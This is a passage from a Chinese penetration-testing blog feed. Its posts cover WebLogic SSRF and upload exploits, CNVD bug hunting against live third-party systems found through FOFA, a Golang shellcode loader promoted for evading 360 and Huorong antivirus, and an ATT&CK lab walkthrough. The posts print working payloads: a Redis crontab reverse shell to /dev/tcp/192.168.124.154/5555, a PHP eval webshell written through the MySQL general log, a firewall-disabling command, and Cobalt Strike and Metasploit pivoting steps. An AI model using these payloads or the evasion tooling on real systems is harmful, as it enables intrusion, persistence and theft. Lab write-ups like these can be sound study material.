successful"><br>还有几个反序列化，都不写了，我都是工具一把梭哈，脚本小子我菜哭了</p><h4 id="SSRF漏洞"><a href="#SSRF漏洞" class="headerlink" title="SSRF漏洞"></a>SSRF漏洞</h4><p>Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。</p><p>访问<a href="http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。" target="_blank" rel="noopener">http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。</a><br>探测不存在的端口<br><img src="/images/pasted-603.png" alt="upload successful"><br>存在的端口<br><img src="/images/pasted-604.png" alt="upload successful"><br>注入HTTP头，利用Redis反弹shell<br>Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。</p><p>首先，通过ssrf探测内网中的redis服务器,可以写脚本跑一下,<br>这里就不费劲了直接上帝视角看下docker容器信息</p><pre><code>docker inspect 容器id</code></pre><p><img src="/images/pasted-605.png" alt="upload successful"></p><p><img src="/images/pasted-606.png" alt="upload successful"><br>发送三条redis命令，将弹shell脚本写入/etc/crontab:</p><pre><code>set 1 &quot;\n\n\n\n* * * * * root bash -i &gt;&amp; /dev/tcp/192.168.124.154/5555 0&gt;&amp;1\n\n\n\n&quot;config set dir /etc/config set dbfilename crontabsave</code></pre><pre><code>http://192.168.48.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.124.154%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa</code></pre><p><img src="/images/pasted-612.png" alt="upload successful"><br><img src="/images/pasted-614.png" alt="upload successful"></p><h4 id="任意文件上传漏洞"><a href="#任意文件上传漏洞" class="headerlink" title="任意文件上传漏洞"></a>任意文件上传漏洞</h4><p>Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在“生产模式”下默认不开启，所以该漏洞有一定限制。</p><p>利用该漏洞，可以上传任意jsp文件，进而获取服务器权限。<br>复现<br><a href="http://192.168.124.136:7001/console/" target="_blank" rel="noopener">http://192.168.124.136:7001/console/</a><br>登录后台<br>执行</p><pre><code>docker-compose logs | grep password</code></pre><p>可查看管理员密码，管理员用户名为weblogic。<br>登录后台页面，点击base_domain的配置，在“高级”中开启“启用 Web 服务测试页”选项，保存<br><img src="/images/pasted-615.png" alt="upload successful"><br>访问<a href="http://your-ip:7001/ws_utc/config.do，设置Work" target="_blank" rel="noopener">http://your-ip:7001/ws_utc/config.do，设置Work</a> Home Dir为</p><pre><code>/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css</code></pre><p>目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要。</p><p><img src="/images/pasted-616.png" alt="upload successful"><br>点击安全</p><p><img src="/images/pasted-617.png" alt="upload successful"></p><p><img src="/images/pasted-618.png" alt="upload successful"><br>返回时间戳<br>访问</p><pre><code>http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]</code></pre><p><img src="/images/pasted-619.png" alt="upload successful"></p><h4 id="Weblogic任意文件读取"><a href="#Weblogic任意文件读取" class="headerlink" title="Weblogic任意文件读取"></a>Weblogic任意文件读取</h4><p>console<br>控制台<br>弱密码</p><pre><code>weblogicOracle@123</code></pre><p>任意文件读取漏洞的利用(模拟的)</p><pre><code>hello/file.jsp?path=/etc/passwd</code></pre><p>weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下，名为SerializedSystemIni.dat和config.xml，在本环境中为./security/SerializedSystemIni.dat和./config/config.xml（基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain）。</p><p>SerializedSystemIni.dat是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码，右键copy to file就可以保存成SerializedSystemIni.dat</p><p><img src="/images/pasted-620.png" alt="upload successful"><br>config.xml是base_domain的全局配置文件，所以乱七八糟的内容比较多，找到其中的<node-manager-password-encrypted>的值，即为加密后的管理员密码，不要找错了</p><p><img src="/images/pasted-622.png" alt="upload successful"><br>靶场里解密工具<br><img src="/images/pasted-623.png" alt="upload successful"><br><img src="/images/pasted-624.png" alt="upload successful"><br>后台上传webshell<br>知道账号密码登录后台<br><a href="http://192.168.124.136:7001/console" target="_blank" rel="noopener">http://192.168.124.136:7001/console</a></p><p><img src="/images/pasted-626.png" alt="upload successful"></p><p><img src="/images/pasted-627.png" alt="upload successful"><br><img src="/images/pasted-625.png" alt="upload successful"><br>然后一直下一步<br>完成</p><p><img src="/images/pasted-628.png" alt="upload successful"><br>成功getshell<br><img src="/images/pasted-629.png" alt="upload successful"></p><p><img src="/images/pasted-630.png" alt="upload successful"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;中间件&quot;&gt;&lt;a href=&quot;#中间件&quot; class=&quot;headerlink&quot; title=&quot;中间件&quot;&gt;&lt;/a&gt;中间件&lt;/h3&gt;&lt;p&gt;中间件也是web漏洞的一个方面，中间件 脚本语言 数据库三者之间是由关系的，比如说java 常用tomcat(当然还和系统的大小有关
      
    
    </summary>
    
    
      <category term="web安全" scheme="https://lnng.top/categories/web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="中间件漏洞" scheme="https://lnng.top/tags/%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/"/>
    
      <category term="IIS" scheme="https://lnng.top/tags/IIS/"/>
    
      <category term="Apache" scheme="https://lnng.top/tags/Apache/"/>
    
      <category term="Nginx" scheme="https://lnng.top/tags/Nginx/"/>
    
      <category term="Tomcat" scheme="https://lnng.top/tags/Tomcat/"/>
    
      <category term="webLogic" scheme="https://lnng.top/tags/webLogic/"/>
    
  </entry>
  
  <entry>
    <title>CNVD漏洞证书</title>
    <link href="https://lnng.top/posts/6002.html"/>
    <id>https://lnng.top/posts/6002.html</id>
    <published>2021-08-03T06:43:00.000Z</published>
    <updated>2022-01-03T06:54:26.254Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>在群里看到师傅们人均cnvd，挺好看，我也整一个去</p><h3 id="水cnvd思路"><a href="#水cnvd思路" class="headerlink" title="水cnvd思路"></a>水cnvd思路</h3><p>先要了解cnvd获取证书的条件,分为两种事件型和通用型，获取条件如下</p><ul><li><p>事件型</p><p>涉及电信(中国移动 中国联通 中国电信 中国铁塔) 中央部委级别</p><p>高危漏洞</p></li><li><p>通用型</p><p>中危及以上(CVSS2.0 4.0评分以上)</p><p>黑盒测试案例满10起(附件 最少复现3例 其他的放链接就行)</p><p>系统厂商注册资金5000万以上，或者案例涉及省部级以上单位</p></li></ul><hr><p>然后就说是我的思路吧，对于通用型啊，事件型高危挖不动</p><p>有项目的大佬，日常做项目应该都能遇到很多系统，应该超级好挖cnvd，因为很多系统cnvd都没提交过，系统都很少人挖，挖到cnvd的概率很大的。</p><p>对于没有项目的，最关键的是找注册资金大于5000w以上的，我也没啥好思路，就是去cnvd上看公开的漏洞(而且cnvd收录了说明案例10起肯定满足)</p><p>查看厂商资产是否大于5000w，在选择去挖该厂商系统，不然搞了半天，挖到了，没到5000w，不血亏(出于证书目的，出于学习目的无所谓)。</p><p>当然并不是所有大于5000w 厂商的系统都去尝试挖</p><p>该厂商系统都被交了几页了(cnvd输入厂商名称)，去了挖到了大概率重复(当然也不上绝对，因为每个人对漏洞的理解方向不同，大佬挖过，说不定还能捡到)</p><hr><p>总结，我觉得应该偏向看最近cnvd公开的大于5000w的厂商系统，且系统被交的漏洞比较少，被交的漏洞偏向弱口令&gt;未授权&gt;SQL&gt;getshell</p><blockquote><p>注:弱口令cnvd似乎只收硬件系统的</p></blockquote><p>如果认识有大佬，挖到某个系统cnvd，也可以去py，根据他挖到的去挖这个系统其他位置漏洞(每个人对漏洞系统理解不同，大佬getshell还可以py源码)，挖到cnvd的概率也会大大提高。</p><h3 id="一个水洞"><a href="#一个水洞" class="headerlink" title="一个水洞"></a>一个水洞</h3><p>然后就介绍本菜鸡，怎么捡到cnvd的</p><p>先搜索了下这个公司，这个公司有两个系统各被交了一个sql注入</p><p><img src="/images/pasted-657.png" alt="upload successful"></p><p>直接fofa去搜索该系统的名称，或者公司的名称，90%都能搜到这个系统</p><p><img src="/images/pasted-658.png" alt="upload successful"></p><p>点开系统一个登录框，把fofa该系统地址爬取下来，可以写个小脚本爆破一下所有地址该系统(常见的账号密码字典)，脚本批量扫一下所有地址是否有备份文件可下载</p><p>这个系统试了试，都有没有</p><p>去百度该系统，是否有文档，也没有</p><p>先测测这个登录框有没有注入吧，因为cnvd有人交过注入</p><p><img src="/images/pasted-659.png" alt="upload successful"></p><p>扔到sqlmap里面跑了一下，还真有漏洞，估计交的这个cnvd sql注入就是这个位置，这位师傅也捡了个洞啊</p><p>有了这个洞其中就可以去注入账号密码了,进后台，但是，还没信息收集完，非必要还是不要注入别人数据</p><p><img src="/images/pasted-660.png" alt="upload successful"></p><p>右键看了下源码，都是这个不太清楚js是干啥的的js，懒得点开一个一个看了</p><p>用jsfinder跑一下</p><p>接口还挺多的</p><p><img src="/images/pasted-661.png" alt="upload successful"></p><p>但是看到WebViewService.asmx就知道这把稳了洞有了</p><p>WebService.asmx接口存在，此时就需要留意有无对应漏洞了，出现漏洞概率很大。</p><p><img src="/images/pasted-662.png" alt="upload successful"></p><p><img src="/images/pasted-664.png" alt="upload successful"></p><p>找个接口测试!</p><p><img src="/images/pasted-666.png" alt="upload successful"></p><p>测试了一下，妈耶，最开始没发现ip地址变成了内网地址，我说咋没反应，改成外网地址</p><p><img src="/images/pasted-672.png" alt="upload successful"></p><p>加个点，这不就有了</p><p><img src="/images/pasted-670.png" alt="upload successful"></p><p><img src="/images/pasted-671.png" alt="upload successful"></p><p>看了下数据库权限还是高权限，似乎命令执行还能，不过会创数据库表，算了点到为止，后来看了下这个系统，两种数据库PostgreSQL sqlserver，点到为止，没必要</p><p>稍微看了下，还有些接口还是有问题</p><p><img src="/images/pasted-668.png" alt="upload successful"></p><p><img src="/images/pasted-669.png" alt="upload successful"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;在群里看到师傅们人均cnvd，挺好看，我也整一个去&lt;/p&gt;
&lt;h3 id=&quot;水cnvd思路&quot;&gt;&lt;a href=&quot;#水cnvd思路&quot; clas
      
    
    </summary>
    
    
      <category term="web安全" scheme="https://lnng.top/categories/web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="CNVD" scheme="https://lnng.top/tags/CNVD/"/>
    
  </entry>
  
  <entry>
    <title>golangShellcode加载器 分离免杀</title>
    <link href="https://lnng.top/posts/23a4.html"/>
    <id>https://lnng.top/posts/23a4.html</id>
    <published>2021-07-28T07:45:00.000Z</published>
    <updated>2021-08-24T13:18:10.338Z</updated>
    
    <content type="html"><![CDATA[<h3 id="shellcodeloading"><a href="#shellcodeloading" class="headerlink" title="shellcodeloading"></a>shellcodeloading</h3><p>项目地址:<a href="https://github.com/Lmg66/shellcodeloading" target="_blank" rel="noopener">https://github.com/Lmg66/shellcodeloading</a><br>golang版 shellcode 加载器 </p><p>效果:实测可免杀360 火绒</p><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p><a href="https://www.bilibili.com/video/BV1jr4y1c7gJ" target="_blank" rel="noopener">小玉玉yyds</a></p><h3 id="目录说明"><a href="#目录说明" class="headerlink" title="目录说明"></a>目录说明</h3><pre><code>│  1.jpg        │  go.mod│  README.md│  shellcodeloading.go              //生成output/shellcode.go imageshellcode│├─.idea│      .gitignore│      modules.xml│      shellcodeloading.iml│      workspace.xml│├─aes                               //aes加密调用包│      aseCode.go│ ├─checkSandbox                        //沙箱检测调用包 20个进程 系统盘大于45g│      checkSandbox.go│└─output        compileShellGo.bat //用于编译shellcode.go—&gt;shellcode.exe 由shellcodeloading.go调用        lnng.jpg                  //含有shellcode aes密钥        shellcode.exe                    shellcode.go            //用于生成shellcode.exe</code></pre><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><h4 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h4><p>需要golang环境</p><p>因为shellcode.go 木马需要编译</p><h4 id="使用步骤"><a href="#使用步骤" class="headerlink" title="使用步骤"></a>使用步骤</h4><p>1.生成shellcode</p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206352705-image-20210725174518720.png" alt=""></p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206482200-image-20210725174746525.png" alt=""></p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206691165-image-20210725175115790.png" alt=""></p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206783230-image-20210725175253002.png" alt=""></p><p>2.生成shellcode.exe</p><p>shellcodeloading目录</p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206894340-image-20210725175442184.png" alt=""></p><p>选择想要的shellcode.exe方式</p><p>这里演示其中一种(分离免杀，imageshellcode路径写死在shellcode.exe中，远程加载shellcode)</p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627207169249-image-20210725175903529.png" alt=""></p><p>在output目录下我们就可以看到我们生成的shellcode.go(木马原文件) shellcode.exe(木马文件) lnng.jpg(分离免杀的shellcode)</p><p>将shellcode.exe 拖入带杀软的虚拟机中</p><p>这里用python3开启简单http服务，来加载imageshellcode，可以上传到图床等等地方(注意图片别被压缩)，地址别搞错就行</p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627207554631-image-20210725180505277.png" alt=""></p><h4 id="免杀效果"><a href="#免杀效果" class="headerlink" title="免杀效果"></a>免杀效果</h4><p><a href="https://www.bilibili.com/video/BV1Hq4y1p7c1" target="_blank" rel="noopener">https://www.bilibili.com/video/BV1Hq4y1p7c1</a></p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627214620018-image-20210725200323206.png" alt=""></p><h3 id="参考文章说明"><a href="#参考文章说明" class="headerlink" title="参考文章说明"></a>参考文章说明</h3><p><a href="https://space.bilibili.com/50908119?spm_id_from=333.788.b_765f7570696e666f.2" target="_blank" rel="noopener"><strong>yuppt</strong>大佬视频</a></p><p><a href="https://gitee.com/cutecuteyu/picshell_bypassav" target="_blank" rel="noopener">https://gitee.com/cutecuteyu/picshell_bypassav</a></p><p>初学内网渗透，大佬们轻点喷</p><p>仅限技术分享研究与讨论，严禁用于非法用途，产生的一切后果自行承担</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;shellcodeloading&quot;&gt;&lt;a href=&quot;#shellcodeloading&quot; class=&quot;headerlink&quot; title=&quot;shellcodeloading&quot;&gt;&lt;/a&gt;shellcodeloading&lt;/h3&gt;&lt;p&gt;项目地址:&lt;a href=&quot;
      
    
    </summary>
    
    
      <category term="内网渗透" scheme="https://lnng.top/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    
      <category term="安全开发" scheme="https://lnng.top/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
    
    
      <category term="golang" scheme="https://lnng.top/tags/golang/"/>
    
      <category term="分离免杀" scheme="https://lnng.top/tags/%E5%88%86%E7%A6%BB%E5%85%8D%E6%9D%80/"/>
    
      <category term="shellcode加载器" scheme="https://lnng.top/tags/shellcode%E5%8A%A0%E8%BD%BD%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>Fofa&amp;&amp;钟馗之眼爬虫(golang)</title>
    <link href="https://lnng.top/posts/96c5.html"/>
    <id>https://lnng.top/posts/96c5.html</id>
    <published>2021-07-15T01:35:00.000Z</published>
    <updated>2021-07-15T01:44:03.211Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>摸鱼了很久，学习了一下基本的golang语言，写个爬虫练练手</p><h3 id="Feye说明"><a href="#Feye说明" class="headerlink" title="Feye说明"></a>Feye说明</h3><p>用于爬取fofa zoom，用于刷src，手动测试fofa上面每一个链接，并且进行漏洞测试着实麻烦，结合poc快速刷src</p><p>，当然也可以封装为package，结合poc等快速刷洞(后来可能要写这么一个工具，暂时不知咋写，唉😔)。</p><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><p>项目地址:<a href="https://github.com/Lmg66/Feye" target="_blank" rel="noopener">https://github.com/Lmg66/Feye</a></p><p>git clone <a href="https://github.com/Lmg66/Feye.git" target="_blank" rel="noopener">https://github.com/Lmg66/Feye.git</a></p><p>配置config.yaml</p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1626268360555-9999.png" alt=""></p><p> Authorization登录fofa账号，随便查询一个语句，点第二页，burpsuite抓包将 Authorization粘贴到配置文件即可</p><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1626268935029-9999967.png" alt=""></p><h3 id="Windows"><a href="#Windows" class="headerlink" title="Windows"></a>Windows</h3><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1626311997219-212542.png" alt=""></p><h3 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h3><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1626312008362-212859.png" alt=""></p><h3 id="Mac"><a href="#Mac" class="headerlink" title="Mac"></a>Mac</h3><p>无mac无测试</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;摸鱼了很久，学习了一下基本的golang语言，写个爬虫练练手&lt;/p&gt;
&lt;h3 id=&quot;Feye说明&quot;&gt;&lt;a href=&quot;#Feye说明&quot; c
      
    
    </summary>
    
    
      <category term="安全开发" scheme="https://lnng.top/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
    
    
      <category term="Feye" scheme="https://lnng.top/tags/Feye/"/>
    
      <category term="golang" scheme="https://lnng.top/tags/golang/"/>
    
  </entry>
  
  <entry>
    <title>att&amp;ck红队评估实战靶场</title>
    <link href="https://lnng.top/posts/8568.html"/>
    <id>https://lnng.top/posts/8568.html</id>
    <published>2021-07-12T08:05:00.000Z</published>
    <updated>2021-07-28T05:58:50.137Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>全部靶场下载地址:<a href="http://vulnstack.qiyuanxuetang.net/vuln/" target="_blank" rel="noopener">http://vulnstack.qiyuanxuetang.net/vuln/</a></p><p>初学内网渗透，很多不了解，如有错误还请师傅们指点</p><h2 id="att-amp-ck红队评估实战靶场一"><a href="#att-amp-ck红队评估实战靶场一" class="headerlink" title="att&amp;ck红队评估实战靶场一"></a>att&amp;ck红队评估实战靶场一</h2><h3 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h3><p>下载地址:<br><a href="http://vulnstack.qiyuanxuetang.net/vuln/detail/2/" target="_blank" rel="noopener">http://vulnstack.qiyuanxuetang.net/vuln/detail/2/</a><br>解压，使用VMware打开三个虚拟机<br><img src="/images/pasted-434.png" alt="upload successful"></p><p>该靶机通用密码:hongrisec@2019</p><p>因为靶机是放在内网服务器上,而不上自己本机所以需要设置一下<br>web服务的虚拟机桥接模式，让主路由下的主机可以访问到，让后设置一下网卡的优先级，原因:因为连接了域控，而域控的主机god.org在公网是有的，所以采用网卡优先级来让其先走内网的域控，将内网网卡优先级调整到最高，我是这样解决的，反正能用(如果在本机vmware搭建就不用这一步，只需要开启phpstudy检测网络连通性)<br><img src="/images/pasted-436.png" alt="upload successful"><br><img src="/images/pasted-435.png" alt="upload successful"><br><img src="/images/pasted-437.png" alt="upload successful"></p><h3 id="靶机拿webshell"><a href="#靶机拿webshell" class="headerlink" title="靶机拿webshell"></a>靶机拿webshell</h3><p>基础信息收集</p><pre><code>nmap -A 192.168.10.173</code></pre><pre><code>Not shown: 991 filtered portsPORT     STATE SERVICE            VERSION80/tcp   open  http               Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 135/tcp  open  msrpc              Microsoft Windows RPC139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn445/tcp  open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)1025/tcp open  msrpc              Microsoft Windows RPC1032/tcp open  msrpc              Microsoft Windows RPC1055/tcp open  msrpc              Microsoft Windows RPC3306/tcp open  mysql              MySQL (unauthorized)3389/tcp open  ssl/ms-wbt-server?|_ssl-date: 2021-07-12T12:21:23+00:00; +1s from scanner time.Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Microsoft Windows XP|7|2012OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012OS details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012Network Distance: 2 hopsService Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: mean: -1h59m58s, deviation: 3h59m59s, median: 0s|_nbstat: NetBIOS name: STU1, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:0c:29:0c:22:47 (VMware)| smb-os-discovery: |   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional|   Computer name: stu1|   NetBIOS computer name: STU1\x00|   Domain name: god.org|   Forest name: god.org|   FQDN: stu1.god.org|_  System time: 2021-07-12T20:21:09+08:00| smb-security-mode: |   account_used: &lt;blank&gt;|   authentication_level: user|   challenge_response: supported|_  message_signing: disabled (dangerous, but default)| smb2-security-mode: |   2.02: |_    Message signing enabled but not required| smb2-time: |   date: 2021-07-12T12:21:09|_  start_date: 2021-07-12T07:38:10</code></pre><p>开了3389可以尝试永恒之蓝，3306可以尝试连接数据库,主机名STU1<br>打开192.168.10.173，发现phpStudy 探针 2014<br>尝试弱口令root/root<br><img src="/images/pasted-438.png" alt="upload successful"><br>然后访问<a href="http://192.168.10.173/phpmyadmin" target="_blank" rel="noopener">http://192.168.10.173/phpmyadmin</a><br>弱口令存在一般都有,继续弱口令<br><img src="/images/pasted-439.png" alt="upload successful"><br>关于phpmyadmin可以看看大佬博客<br><a href="https://www.cnblogs.com/Mikasa-Ackerman/p/phpmyadmin-li-yong-de-duo-zhong-fang-shi.html" target="_blank" rel="noopener">https://www.cnblogs.com/Mikasa-Ackerman/p/phpmyadmin-li-yong-de-duo-zhong-fang-shi.html</a><br>看不了文档，不知道版本，弱密码可以进去<br>先</p><pre><code>show variables like &#39;secure_file_priv&#39;;</code></pre><p>看下为NULL不可导入导出，写不了shell<br><img src="/images/pasted-440.png" alt="upload successful"><br>然后尝试日志写shell吧<br>开启日志记录</p><pre><code>set global general_log = &quot;ON&quot;;</code></pre><p>执行</p><pre><code>show variables like &#39;%datadir%&#39;;</code></pre><p><img src="/images/pasted-441.png" alt="upload successful"><br>根据数据库的默认存储位置来猜测web目录绝对路径。<br>指定日志文件</p><pre><code>set global general_log_file=&#39;C:\\phpstudy\\WWW\\lnng.php&#39;</code></pre><pre><code>show variables like &#39;general%&#39;;</code></pre><p><img src="/images/pasted-442.png" alt="upload successful"><br>写入执行代码</p><pre><code>select &quot;&lt;?php eval(@$_POST[&#39;lnng&#39;]); ?&gt;&quot;;</code></pre><p><img src="/images/pasted-443.png" alt="upload successful"></p><p><img src="/images/pasted-445.png" alt="upload successful"><br>可以看到有yxcms，不过从数据库的表也不难看出，google一下发现这个cms有漏洞xss sql 啥的对我们似乎没用了，分析一下任意文件写入吧，<br>刚好发现有个beifen.rar(扫描路径的时候竟然没扫出来，哎！)<br><img src="/images/pasted-446.png" alt="upload successful"><br>漏洞在后台，公告处有账号密码，靶场还有同学再打，密码已经被改了进不去，啊这！<br><img src="/images/pasted-448.png" alt="upload successful"><br><img src="/images/pasted-447.png" alt="upload successful"><br>看来一下数据库，被改的面目全非，看下加密方式，尝试改下数据库<br><img src="/images/pasted-449.png" alt="upload successful"><br>还好有源码，找到加密方式，写个php文件，同样加密，替换数据库，登录成功，好耶！(我好像很闲,费劲干这个)<br><img src="/images/pasted-450.png" alt="upload successful"><br><img src="/images/pasted-451.png" alt="upload successful"><br>从新启航，进入后台<br><img src="/images/pasted-452.png" alt="upload successful"><br>分析一下任意文件写入，漏洞位置<br><img src="/images/pasted-454.png" alt="upload successful"><br>发现几乎没有任何过滤，保存位置apps/default/view/default/lnng.php<br><img src="/images/pasted-455.png" alt="upload successful"><br><a href="http://192.168.10.173/yxcms/index.php?r=admin/set/tpadd&Mname=default" target="_blank" rel="noopener">http://192.168.10.173/yxcms/index.php?r=admin/set/tpadd&amp;Mname=default</a><br><img src="/images/pasted-456.png" alt="upload successful"><br><img src="/images/pasted-457.png" alt="upload successful"><br>这样也能拿shell</p><h3 id="内网信息收集"><a href="#内网信息收集" class="headerlink" title="内网信息收集"></a>内网信息收集</h3><p>cs起一个监听，生成一个windows exe木马文件，通过蚁剑传入目标机，再执行下面这句关闭防火墙</p><pre><code>netsh advfirewall set allprofiles state off</code></pre><p>创建cs shell</p><p><img src="/images/pasted-460.png" alt="upload successful"></p><p><img src="/images/pasted-461.png" alt="upload successful"></p><p><img src="/images/pasted-464.png" alt="upload successful"></p><p><img src="/images/pasted-463.png" alt="upload successful"><br>shell拿到，发现还有内网网卡<br>进行主机信息收集</p><pre><code>shell whoami查询系统体系架构：shell echo %PROCESSOR_ARCHITECTURE%查询已安装的软件及版本信息：wmic product get name,version查看当前运行进程：wmic process list brief</code></pre><p>发现似乎没有杀软<br>可以找个在线网站查询<br><a href="http://ddoslinux.com/windows/index.php" target="_blank" rel="noopener">http://ddoslinux.com/windows/index.php</a></p><p>进行内网信息查询</p><pre><code>查看是否存在域shell net time /domain查看当前域的所有用户：shell net user /domain获取域内用户的详细信息：shell wmic useraccount get /all查看域管理员：shell net group &quot;domain controllers&quot; /domain再进行ping域控主机即可获得域控IP：192.168.52.138查看所有域成员计算机列表：shell net group &quot;domain computers&quot; /domain查看本地管理组：shell net localgroup administrators /domain查看本地所有用户：net user</code></pre><p><img src="/images/pasted-466.png" alt="upload successful"></p><pre><code>利用icmp协议快速探测内网快速探测内网for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr &quot;TTL=&quot;</code></pre><p><img src="/images/pasted-467.png" alt="upload successful"><br>可以看出内网中还有一台机器141<br>也可右键查看<br><img src="/images/pasted-468.png" alt="upload successful"></p><h3 id="横向移动"><a href="#横向移动" class="headerlink" title="横向移动"></a>横向移动</h3><p>可以先提权<br><img src="/images/pasted-469.png" alt="upload successful"></p><p><img src="/images/pasted-470.png" alt="upload successful"></p><p>获得本地管理员权限</p><p>抓取hash</p><p><img src="/images/pasted-471.png" alt="upload successful"><br>就获得域控的账号密码，因为域控登录在window7系统上</p><p><img src="/images/pasted-472.png" alt="upload successful"><br>导出了登陆过3389的某用户的明文密码<br>起一个win7的派生smb beacon,使用windows命名管道进行流量封装，再通过父beacon进行通信，流量相对较隐蔽，对于绕过防火墙有奇效</p><p><img src="/images/pasted-473.png" alt="upload successful"><br>然后使用之前获取的主机信息和凭据，使用psexec模块进行登入</p><p><img src="/images/pasted-474.png" alt="upload successful"></p><p><img src="/images/pasted-475.png" alt="upload successful"></p><p><img src="/images/pasted-476.png" alt="upload successful"><br>成功拿到域控</p><p><img src="/images/pasted-477.png" alt="upload successful"></p><h3 id="cs联动msf利用CS为MSF服务"><a href="#cs联动msf利用CS为MSF服务" class="headerlink" title="cs联动msf利用CS为MSF服务"></a>cs联动msf利用CS为MSF服务</h3><p>MSF中配置监听</p><pre><code># 配置监听器msf&gt; use exploit/multi/handler# 选择payloadmsf&gt; windows/meterpreter/reverse_httpmsf&gt; set lhost IPmsf&gt; set lport port# 启动监听器msf&gt; set ExitOnSession Falsemsf&gt; run -jz</code></pre><p><img src="/images/pasted-478.png" alt="upload successful"><br>在CS中建立一个外部监听器 Foreign HTTP （或 Foreign HTTPS ）<br><img src="/images/pasted-480.png" alt="upload successful"><br>选择想要派生的目标，右键选择 spawn 功能，选择刚刚建立的监听器，即可在MSF中接收到回连。<br><img src="/images/pasted-481.png" alt="upload successful"><br>弹到meterpreter以后，添加52网段的路由。</p><pre><code>run autoroute -s 192.168.52.0/24查看当前已经添加的路由run autoroute -p</code></pre><p><img src="/images/pasted-482.png" alt="upload successful"><br>2. 利用CS为MSF提供转发或代理功能，进行后续的探测和漏洞利用：</p><p>利用Beacon建立 socks 